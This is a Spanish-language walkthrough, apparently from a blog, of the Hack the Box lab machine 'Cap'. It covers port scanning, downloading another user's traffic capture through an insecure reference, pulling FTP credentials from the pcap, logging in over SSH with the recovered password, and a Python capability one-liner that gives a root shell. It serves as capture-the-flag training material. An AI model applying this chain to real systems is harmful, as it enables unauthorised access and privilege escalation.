Cap Writeup

FácilLinux
Las flags que resuelven este reto se encuentran protegidas. Comparte el artículo en redes sociales para desbloquearlas.
$User Flag
0765704b...
#Root Flag
87029b37...

En este writeup vamos a ver la solución de la máquina Cap de la plataforma de Hack the Box.

Conexión

Para empezar a trabajar en este reto tenemos que conectar nuestra máquina de ataque a la VPN:

$ openvpn gorkamu-htb.ovpn

Enumeración

Si realizamos un escaneo de puertos básico con nmap vemos lo siguiente:

$ nmap -p- --open -n -T5 -v 10.129.148.9 -oN nmap.txt PORT STATE SERVICE REASON 21/tcp open ftp syn-ack ttl 63 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 | http-methods: |_ Supported Methods: GET HEAD OPTIONS |_http-title: Security Dashboard
  • Puerto 21: vsftpd 3.0.3
  • Puerto 22: OpenSSH 8.2p1 Ubuntu 4ubuntu0.2
  • Puerto 80: gunicorn

Haciendo un whatweb vemos lo siguiente:

$ whatweb [http://10.129.148.9](http://10.129.148.9/) http://10.129.148.9 [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[gunicorn], IP[10.129.148.9], JQuery[2.2.4], Modernizr[2.8.3.min], Script, Title[Security Dashboard], X-UA-Compatible[ie=edge]

Haciendo un dirbuster o un wfuzz no obtendremos muchos resultados.

Resultados dirbuster
Resultados dirbuster

La ruta /capture tiene una redirección 302 y si nos dirigimos a /data/1 podremos descargarnos una captura de tráfico pcap.

Si nos fijamos en la respuesta que devuelve la petición a /capture vemos que incluye la cabecera “Location: http//10.129.148.9/data/1”

Vamos a abrir burpsuite para capturar tanto la petición como la respuesta y hacer que nos devuelva /data/0 modificando tanto el Referrer de la Request como el Location de la Response.

Una vez modificados ambos valores vemos que se hace una redirección mediante JS a /download/0

Hacemos una petición a esa ruta y descargamos el fichero 0.pcap mediante burpsuite.

Abrimos el fichero pcap mediante Wireshark y empezamos a analizar el tráfico.

Capturar la User Flag

Entre otras cosas podemos ver el tráfico FTP por el cual encontramos un usuario y una contraseña.

Nos conectamos por FTP con las credenciales que hemos obtenido y encontramos lo siguiente:

Conexión FTP
Conexión FTP

Descargamos el fichero a nuestra máquina de la siguiente forma:

ftp > binary ftp > get user.txt local: user.txt remote: user.txt 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for user.txt (33 bytes). 226 Transfer complete. 33 bytes received in 0.00 secs (596.7882 kB/s) ftp> exit 221 Goodbye.

Ya tenemos la USER Flag de la máquina Cap.

Capturar la Root Flag

Nos conectamos por ssh con las credenciales anteriores

$ ssh [nathan@10.129.151.147](mailto:nathan@10.129.151.147) Password: Buck3tH4TF0RM3!

Vamos a buscar a ver si hay ficheros SUID con los que hacer escalada de privilegios:

$ find / -perm -u=s -type f 2>/dev/null

Para hacer la escalada de privilegios lo mejor es leer y entender este enlace sobre el uso de “capabilities” en Linux. https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities

Para buscar aquellos binarios con capabilities hacemos lo siguiente:

$ getcap -r / 2>/dev/null $ which python /usr/bin/python3.8 $ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash");'

Después de ejcutar este comando nos abremos converido ya en root y podremos dirigirnos a /root para ver la flag de ese usuario la cual se encuentra en el fichero root.txt

También te puede interesar

Cronos Writeup

Cronos Writeup

Delivery Writeup

Delivery Writeup

Doctor Writeup

Doctor Writeup